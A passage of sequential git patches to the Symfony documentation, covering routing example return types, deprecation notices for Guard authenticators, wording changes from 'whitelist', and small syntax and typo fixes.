 service_container/factories.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index f67b8c35ebd..d2fda053923 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -204,7 +204,7 @@ method name:
 
             App\Email\NewsletterManager:
                 class:   App\Email\NewsletterManager
-                factory: '@App\Email\NewsletterManagerFactory'
+                factory: '@App\Email\InvokableNewsletterManagerFactory'
 
     .. code-block:: xml
 
@@ -220,7 +220,7 @@ method name:
 
                 <service id="App\Email\NewsletterManager"
                          class="App\Email\NewsletterManager">
-                    <factory service="App\Email\NewsletterManagerFactory"/>
+                    <factory service="App\Email\InvokableNewsletterManagerFactory"/>
                 </service>
             </services>
         </container>
@@ -237,7 +237,7 @@ method name:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->factory(service(NewsletterManagerFactory::class));
+                ->factory(service(InvokableNewsletterManagerFactory::class));
         };
 
 .. _factories-passing-arguments-factory-method:

From 79e0ca062a936691a359d4ecddd58306d6f961b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Jul 2021 13:34:02 +0200
Subject: [PATCH 2327/7107] Fixed XML syntax too

---
 templating/global_variables.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index b3933e6f387..ab770657531 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -92,7 +92,7 @@ the ``@`` character, which is the usual syntax to
 
             <twig:config>
                 <!-- ... -->
-                <twig:global key="uuid">@App\Generator\UuidGenerator</twig:global>
+                <twig:global key="foo" id="App\Generator\UuidGenerator" type="service"/>
             </twig:config>
         </container>
 

From 1bf9b473fd9fee3d8980c1a0aefebb4eab8b75dd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Jul 2021 12:07:15 +0200
Subject: [PATCH 2328/7107] Some minor rewords

---
 frontend/encore/babel.rst             | 2 +-
 reference/configuration/framework.rst | 2 +-
 reference/constraints/Uuid.rst        | 2 +-
 security.rst                          | 4 ++--
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index 083e45528fc..95ba6086913 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -24,7 +24,7 @@ Need to extend the Babel configuration further? The easiest way is via
             babelConfig.plugins.push('styled-jsx/babel');
         }, {
             // node_modules is not processed through Babel by default
-            // but you can whitelist specific modules to process
+            // but you can allow some specific modules to be processed
             includeNodeModules: ['foundation-sites'],
 
             // or completely control the exclude rule (note that you
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a2f18c2f335..54f65230f3b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -519,7 +519,7 @@ instance), the host might have been manipulated by an attacker.
 The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`
 method might be vulnerable to some of these attacks because it depends on
 the configuration of your web server. One simple solution to avoid these
-attacks is to whitelist the hosts that your Symfony application can respond
+attacks is to configure a list of hosts that your Symfony application can respond
 to. That's the purpose of this ``trusted_hosts`` option. If the incoming
 request's hostname doesn't match one of the regular expressions in this list,
 the application won't respond and the user will receive a 400 response.
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 4406555ac30..9dbde3b3ce5 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -4,7 +4,7 @@ UUID
 Validates that a value is a valid `Universally unique identifier (UUID)`_ per `RFC 4122`_.
 By default, this will validate the format according to the RFC's guidelines, but this can
 be relaxed to accept non-standard UUIDs that other systems (like PostgreSQL) accept.
-UUID versions can also be restricted using a whitelist.
+UUID versions can also be restricted using a list of allowed versions.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/security.rst b/security.rst
index 490ccef1ce9..abc65227c42 100644
--- a/security.rst
+++ b/security.rst
@@ -759,8 +759,8 @@ like this:
   will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
 
 * ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
-  this - this is useful when *whitelisting* URLs to guarantee access - some
-  details are in :doc:`/security/access_control`.
+  this - this is useful when defining a list of URLs with no access restriction
+  - some details are in :doc:`/security/access_control`.
 
 .. _retrieving-the-user-object:
 

From a0b16236a9451bb4193a284f74663d98c5b8958c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Jul 2021 16:46:48 +0200
Subject: [PATCH 2329/7107] Minor language fix

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 54f65230f3b..5d5d20166a3 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2292,9 +2292,9 @@ logging
 **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
 When ``true``, a log entry is made whenever the translator cannot find a translation
-for a given key. The logs are made to the ``translation`` channel and at the
-``debug`` for level for keys where there is a translation in the fallback
-locale and the ``warning`` level if there is no translation to use at all.
+for a given key. The logs are made to the ``translation`` channel at the
+``debug`` level for keys where there is a translation in the fallback
+locale, and the ``warning`` level if there is no translation to use at all.
 
 .. _reference-framework-translator-formatter:
 

From 168004a3c72da3ed845bb4cbf43db4e35ba43c30 Mon Sep 17 00:00:00 2001
From: Tobias Schultze <webmaster@tubo-world.de>
Date: Wed, 14 Jul 2021 00:47:57 +0200
Subject: [PATCH 2330/7107] Fix typo in choice_translation_parameters doc

---
 .../forms/types/options/choice_translation_parameters.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
index 32e66393383..a384d38d487 100644
--- a/reference/forms/types/options/choice_translation_parameters.rst.inc
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -50,7 +50,7 @@ Given this translation message:
 You can specify the placeholder values as follows::
 
     $builder->add('id', null, [
-        'choice' => [
+        'choices' => [
             'form.order.yes' => true,
             'form.order.no' => false,
         ],
@@ -66,7 +66,7 @@ You can specify the placeholder values as follows::
 If an array, the keys of the ``choices`` array must be used as keys::
 
     $builder->add('id', null, [
-        'choice' => [
+        'choices' => [
             'form.order.yes' => true,
             'form.order.no' => false,
         ],

From ddb3b8040edb80d67410677758b62ffc35e87026 Mon Sep 17 00:00:00 2001
From: Piotr Stankowski <trakos@users.noreply.github.com>
Date: Wed, 14 Jul 2021 01:24:05 +0200
Subject: [PATCH 2331/7107] Note that file_put_contents is non-atomic

---
 components/dependency_injection/compilation.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index d7284046b82..fc3ead79dab 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -468,6 +468,14 @@ serves at dumping the compiled container::
         file_put_contents($file, $dumper->dump());
     }
 
+
+.. tip::
+
+    Call to `file_put_contents` is not atomic. When generating container in
+    a production  environment with multiple concurrent requests, use `dumpFile`
+    from `component-filesystem` instead. This generates file in tmp and moves it
+    to its destination only once it's fully written to.
+    
 ``ProjectServiceContainer`` is the default name given to the dumped container
 class. However, you can change this with the ``class`` option when you
 dump it::
@@ -559,6 +567,11 @@ for these resources and use them as metadata for the cache::
 
     require_once $file;
     $container = new MyCachedContainer();
+    
+.. note::
+
+    Using `$containerConfigCache->write` also makes sure that
+    the file write operation is atomic.
 
 Now the cached dumped container is used regardless of whether debug mode
 is on or not. The difference is that the ``ConfigCache`` is set to debug

From 00fe4bc0e4f8f030bb7b57c42f7ee364d326f63a Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 14 Jul 2021 20:51:14 +0200
Subject: [PATCH 2332/7107] [Routing] Add small improvements

---
 routing.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index e68f04eba18..ec39d1f8e00 100644
--- a/routing.rst
+++ b/routing.rst
@@ -953,7 +953,7 @@ and in route imports. Symfony defines some special attributes with the same name
                 format="html">
 
                 <requirement key="_locale">en|fr</requirement>
-                <requirement key="_format">html|rss</requirement>
+                <requirement key="_format">html|xml</requirement>
 
             </route>
         </routes>
@@ -972,7 +972,7 @@ and in route imports. Symfony defines some special attributes with the same name
                 ->format('html')
                 ->requirements([
                     '_locale' => 'en|fr',
-                    '_format' => 'html|rss',
+                    '_format' => 'html|xml',
                 ])
             ;
         };
@@ -1662,7 +1662,7 @@ multi-tenant applications) and these parameters can be validated too with
         };
 
 In the above example, the ``subdomain`` parameter defines a default value because
-otherwise you need to include a domain value each time you generate a URL using
+otherwise you need to include a subdomain value each time you generate a URL using
 these routes.
 
 .. tip::
@@ -1682,7 +1682,7 @@ these routes.
             [],
             ['HTTP_HOST' => 'm.example.com']
             // or get the value from some configuration parameter:
-            // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')]
+            // ['HTTP_HOST' => 'm.'.$client->getContainer()->getParameter('domain')]
         );
 
 .. _i18n-routing:
@@ -1813,7 +1813,7 @@ with a locale. This can be done by defining a different prefix for each locale
                 ->prefix([
                     // don't prefix URLs for English, the default locale
                     'en' => '',
-                    'nl' => '/nl'
+                    'nl' => '/nl',
                 ])
             ;
         };

From 2138f7651913b79275dadb20c840696dba30485f Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 14 Jul 2021 21:19:58 +0200
Subject: [PATCH 2333/7107] [Routing] Improve PHP attributes examples

---
 routing.rst | 70 ++++++++++++++++++++++++++++++++---------------------
 1 file changed, 43 insertions(+), 27 deletions(-)

diff --git a/routing.rst b/routing.rst
index 8f9fe7a3785..b81e042c019 100644
--- a/routing.rst
+++ b/routing.rst
@@ -232,13 +232,13 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         class BlogApiController extends AbstractController
         {
             #[Route('/api/posts/{id}', methods: ['GET', 'HEAD'])]
-            public function show(int $id)
+            public function show(int $id): Response
             {
                 // ... return a JSON response with the post
             }
 
             #[Route('/api/posts/{id}', methods: ['PUT'])]
-            public function edit(int $id)
+            public function edit(int $id): Response
             {
                 // ... edit a post
             }
@@ -343,6 +343,7 @@ arbitrary matching logic:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class DefaultController extends AbstractController
@@ -354,7 +355,7 @@ arbitrary matching logic:
             )]
             // expressions can also include config parameters:
             // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
-            public function contact()
+            public function contact(): Response
             {
                 // ...
             }
@@ -517,6 +518,7 @@ defined as ``/blog/{slug}``:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -524,7 +526,7 @@ defined as ``/blog/{slug}``:
             // ...
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // $slug will equal the dynamic part of the URL
                 // e.g. at /blog/yay-routing, then $slug='yay-routing'
@@ -623,18 +625,19 @@ the ``{page}`` parameter using the ``requirements`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show($slug)
+            public function show($slug): Response
             {
                 // ...
             }
@@ -750,12 +753,13 @@ concise, but it can decrease route readability when requirements are complex:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page<\d+>}', name: 'blog_list')]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -804,7 +808,7 @@ visit ``/blog/1``, it will match. But if they visit ``/blog``, it will **not**
 match. As soon as you add a parameter to a route, it must have a value.
 
 You can make ``blog_list`` once again match when the user visits ``/blog`` by
-adding a default value for the ``{page}`` parameter. When using annotations,
+adding a default value for the ``{page}`` parameter. When using annotations or attributes,
 default values are defined in the arguments of the controller action. In the
 other configuration formats they are defined with the ``defaults`` option:
 
@@ -836,12 +840,13 @@ other configuration formats they are defined with the ``defaults`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
-            public function list(int $page = 1)
+            public function list(int $page = 1): Response
             {
                 // ...
             }
@@ -940,12 +945,13 @@ parameter:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page<\d+>?1}', name: 'blog_list')]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -1194,7 +1200,7 @@ and in route imports. Symfony defines some special attributes with the same name
                     '_format' => 'html|xml',
                 ],
             )]
-            public function search()
+            public function search(): Response
             {
             }
         }
@@ -1285,12 +1291,14 @@ the controllers of the routes:
         // src/Controller/BlogController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class BlogController
+        class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_index', defaults: ['page' => 1, 'title' => 'Hello world!'])]
-            public function index(int $page, string $title)
+            public function index(int $page, string $title): Response
             {
                 // ...
             }
@@ -1375,13 +1383,15 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         // src/Controller/DefaultController.php
         namespace App\Controller;
-
+        
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class DefaultController
+        class DefaultController extends AbstractController
         {
             #[Route('/share/{token}', name: 'share', requirements: ['token' => '.+'])]
-            public function share($token)
+            public function share($token): Response
             {
                 // ...
             }
@@ -1493,20 +1503,22 @@ when importing the routes.
 
         // src/Controller/BlogController.php
         namespace App\Controller;
-
+        
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         #[Route('/blog', requirements: ['_locale' => 'en|es|fr'], name: 'blog_')]
-        class BlogController
+        class BlogController extends AbstractController
         {
             #[Route('/{_locale}', name: 'index')]
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
 
             #[Route('/{_locale}/posts/{slug}', name: 'show')]
-            public function show(Post $post)
+            public function show(Post $post): Response
             {
                 // ...
             }
@@ -1837,18 +1849,19 @@ host name:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
         {
             #[Route('/', name: 'mobile_homepage', host: 'm.example.com')]
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
 
             #[Route('/', name: 'homepage')]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -1946,6 +1959,7 @@ multi-tenant applications) and these parameters can be validated too with
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
@@ -1957,13 +1971,13 @@ multi-tenant applications) and these parameters can be validated too with
                 defaults: ['subdomain' => 'm'],
                 requirements: ['subdomain' => 'm|mobile'],
             )]
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
 
             #[Route('/', name: 'homepage')]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -2101,6 +2115,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class CompanyController extends AbstractController
@@ -2109,7 +2124,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
                 'en' => '/about-us',
                 'nl' => '/over-ons'
             ], name: 'about_us')]
-            public function about()
+            public function about(): Response
             {
                 // ...
             }
@@ -2257,7 +2272,7 @@ locale.
             $routes->import('../../src/Controller/', 'annotation')
                 ->host([
                     'en' => 'https://www.example.com',
-                    'nl' => 'https://www.example.nl'
+                    'nl' => 'https://www.example.nl',
                 ])
             ;
         };
@@ -2711,12 +2726,13 @@ each route explicitly:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class SecurityController extends AbstractController
         {
             #[Route('/login', name: 'login', schemes: ['https'])]
-            public function login()
+            public function login(): Response
             {
                 // ...
             }

From 000457546b88c60b845df0c52b05a0240a9c7cc9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 14:55:54 +0200
Subject: [PATCH 2334/7107] Backport #15453 fix

---
 components/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/ldap.rst b/components/ldap.rst
index 5b16a3ffb97..0c164d305dc 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -117,7 +117,7 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
 Use the ``filter`` option to only retrieve some specific attributes:
 
-    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn, mail']);
+    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn', 'mail']);
 
 Creating or Updating Entries
 ----------------------------

From 882c8f27a38616fe18bc5c2f77fc0315ab453d53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 16:02:03 +0200
Subject: [PATCH 2335/7107] Update Contracts to 3.0 version

---
 components/contracts.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/contracts.rst b/components/contracts.rst
index 1f1cc3f6adc..a1ae32192f6 100644
--- a/components/contracts.rst
+++ b/components/contracts.rst
@@ -61,7 +61,7 @@ convention. For example:
     {
         "...": "...",
         "provide": {
-            "symfony/cache-implementation": "1.0"
+            "symfony/cache-implementation": "3.0"
         }
     }
 

From 675b2ac7d391ecde93f6e2702e6c94afd7f1a927 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 16:19:50 +0200
Subject: [PATCH 2336/7107] [FrameworkBundle] Deprecate services in Doctrine
 cache

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8f7cb5538c8..97439a08f33 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2801,6 +2801,10 @@ none
 a service id
     A service id referencing a `Doctrine Cache`_ implementation
 
+.. deprecated:: 5.3
+
+    Using a service ID as the value of ``cache`` is deprecated since Symfony 5.3.
+
 file_cache_dir
 ..............
 

From bdf6ac689f9996e1a352539440b2bf186bdd5359 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 16:31:01 +0200
Subject: [PATCH 2337/7107] [FrameworkBundle] Update the default config of
 Doctrine cache

---
 reference/configuration/framework.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8f7cb5538c8..6695e7bb55b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2790,10 +2790,12 @@ annotations
 cache
 .....
 
-**type**: ``string`` **default**: ``'file'``
+**type**: ``string`` **default**: ``'php_array'``
 
 This option can be one of the following values:
 
+php_array
+    Use a PHP array to cache annotations in memory
 file
     Use the filesystem to cache annotations
 none

From 92dd49ccc84b87c706c2db1095a9899ecfc75bca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 16:46:10 +0200
Subject: [PATCH 2338/7107] [HttpClient] Mention how to get the effective
 response URL

---
 http_client.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index b1fd989a44c..2a87a8ac7f3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -845,6 +845,8 @@ following methods::
 
     // you can get individual info too
     $startTime = $response->getInfo('start_time');
+    // e.g. this returns the final response URL (resolving redirections if needed)
+    $url = $response->getInfo('url');
 
     // returns detailed logs about the requests and responses of the HTTP transaction
     $httpLogs = $response->getInfo('debug');

From e329db9eb37ef331af72e12726c433646e4fa7ea Mon Sep 17 00:00:00 2001
From: Steve <steve.clifton@outlook.com>
Date: Fri, 16 Jul 2021 09:32:10 +1200
Subject: [PATCH 2339/7107] Update best_practices.rst

Add missing text to sentence
---
 best_practices.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/best_practices.rst b/best_practices.rst
index ba58ea2bd8f..284bdb7cfa2 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -170,7 +170,7 @@ Use Autowiring to Automate the Configuration of Application Services
 
 :doc:`Service autowiring </service_container/autowiring>` is a feature that
 reads the type-hints on your constructor (or other methods) and automatically
-passes the correct services to each method, making unnecessary to configure
+passes the correct services to each method, making it unnecessary to configure
 services explicitly and simplifying the application maintenance.
 
 Use it in combination with :ref:`service autoconfiguration <services-autoconfigure>`

From 74f39b2a23e0e7cb13cdc5a41d632bb6e98fbcaf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 10:04:04 +0200
Subject: [PATCH 2340/7107] [Security] Deprecate
 always_authenticate_before_granting option

---
 components/security/authentication.rst | 5 +++++
 reference/configuration/security.rst   | 5 +++++
 2 files changed, 10 insertions(+)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 9cca9f18d9f..dc93ce931da 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -302,6 +302,11 @@ request if you have session-based authentication, if ``always_authenticate_befor
 is enabled or if token is not authenticated before AccessListener is invoked.
 See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
 
+.. deprecated:: 5.4
+
+    The ``always_authenticate_before_granting`` option was deprecated in
+    Symfony 5.4 and it will be removed in Symfony 6.0.
+
 When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
 a ``security.authentication.failure`` event is dispatched. You could listen on
 the ``security.authentication.failure`` event, for example, in order to log
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e44d2532f02..ae20520c08f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -58,6 +58,11 @@ always_authenticate_before_granting
 
 **type**: ``boolean`` **default**: ``false``
 
+.. deprecated:: 5.4
+
+    The ``always_authenticate_before_granting`` option was deprecated in
+    Symfony 5.4 and it will be removed in Symfony 6.0.
+
 If ``true``, the user is asked to authenticate before each call to the
 ``isGranted()`` method in services and controllers or ``is_granted()`` from
 templates.

From efe0925b459e59fdc86488ef6a4a3f7076594b58 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 12:27:08 +0200
Subject: [PATCH 2341/7107] [Security] Add deprecation notices about Guard
 authenticators

---
 security.rst                                |  5 +++++
 security/auth_providers.rst                 |  6 +++---
 security/custom_authentication_provider.rst |  6 ++----
 security/guard_authentication.rst           | 10 +++++-----
 security/multiple_guard_authenticators.rst  |  5 +++++
 5 files changed, 20 insertions(+), 12 deletions(-)

diff --git a/security.rst b/security.rst
index a8a254ef137..905d14f7d23 100644
--- a/security.rst
+++ b/security.rst
@@ -462,6 +462,11 @@ you to control *every* part of the authentication process (see the next section)
 Guard Authenticators
 ~~~~~~~~~~~~~~~~~~~~
 
+.. deprecated:: 5.3
+
+    Guard authenticators are deprecated since Symfony 5.3 in favor of the
+    :doc:`new authenticator-based system </security/authenticator_manager>`.
+
 A Guard authenticator is a class that gives you *complete* control over your
 authentication process. There are many different ways to build an authenticator;
 here are a few common use-cases:
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
index 2f9764a77fa..f2a672c41c7 100644
--- a/security/auth_providers.rst
+++ b/security/auth_providers.rst
@@ -1,9 +1,9 @@
 Built-in Authentication Providers
 =================================
 
-If you need to add authentication to your app, we recommend using
-:doc:`Guard authentication </security/guard_authentication>` because it gives you
-full control over the process.
+If you need to add authentication to your app, we recommend using the
+:doc:`new authenticator-based system </security/authenticator_manager>` because
+it gives you full control over the process.
 
 But, Symfony also offers a number of built-in authentication providers: systems
 that are easier to implement, but harder to customize. If your authentication
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 743fdb9382e..94fdda02708 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -7,10 +7,8 @@ How to Create a custom Authentication Provider
 .. caution::
 
     Creating a custom authentication system is hard, and almost definitely
-    **not** needed. Instead, see :doc:`/security/guard_authentication` for a
-    simple way to create an authentication system you will love. Do **not**
-    keep reading unless you want to learn the lowest level details of
-    authentication.
+    **not** needed. Instead, see the
+    :doc:`new authenticator-based system </security/authenticator_manager>`
 
 Symfony provides support for the most
 :doc:`common authentication mechanisms </security/auth_providers>`. However, your
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 67934f61592..8b61ac97558 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -4,6 +4,11 @@
 Custom Authentication System with Guard (API Token Example)
 ===========================================================
 
+.. deprecated:: 5.3
+
+    Guard authenticators are deprecated since Symfony 5.3 in favor of the
+    :doc:`new authenticator-based system </security/authenticator_manager>`.
+
 Guard authentication can be used to:
 
 * :doc:`Build a Login Form </security/form_login_setup>`
@@ -14,11 +19,6 @@ Guard authentication can be used to:
 and many more. In this example, we'll build an API token authentication
 system, so we can learn more about Guard in detail.
 
-.. tip::
-
-    A :doc:`new authenticator-based system </security/authenticator_manager>`
-    was introduced in Symfony 5.1, which will eventually replace Guards in Symfony 6.0.
-
 Step 1) Prepare your User Class
 -------------------------------
 
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index 8c4647c49c6..7e121fcc6cc 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -1,6 +1,11 @@
 How to Use Multiple Guard Authenticators
 ========================================
 
+.. deprecated:: 5.3
+
+    Guard authenticators are deprecated since Symfony 5.3 in favor of the
+    :doc:`new authenticator-based system </security/authenticator_manager>`.
+
 The Guard authentication component allows you to use many different
 authenticators at a time.
 

From a6d4c409ff980830c2446f2890e1df218593f0af Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 10:40:05 +0200
Subject: [PATCH 2342/7107] [Form] Document using TranslatableMessage in form
 help

---
 reference/forms/types/options/help.rst.inc | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index ded87842d8e..86f84111c88 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -1,11 +1,25 @@
 help
 ~~~~
 
-**type**: ``string`` **default**: null
+**type**: ``string`` or ``TranslatableMessage`` **default**: null
 
 Allows you to define a help message for the form field, which by default is
 rendered below the field::
 
-    $builder->add('zipCode', null, [
-        'help' => 'The ZIP/Postal code for your credit card\'s billing address.',
-    ]);
+    use Symfony\Component\Translation\TranslatableMessage;
+
+    $builder
+        ->add('zipCode', null, [
+            'help' => 'The ZIP/Postal code for your credit card\'s billing address.',
+        ])
+
+        // ...
+
+        ->add('status', null, [
+            'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
+        ])
+    ;
+
+.. versionadded:: 5.4
+
+    Support for passing ``TranslatableMessage`` objects was introduced in Symfony 5.4.

From d80c0b191616e2cab27070654c436e1faaffb056 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 17:20:06 +0200
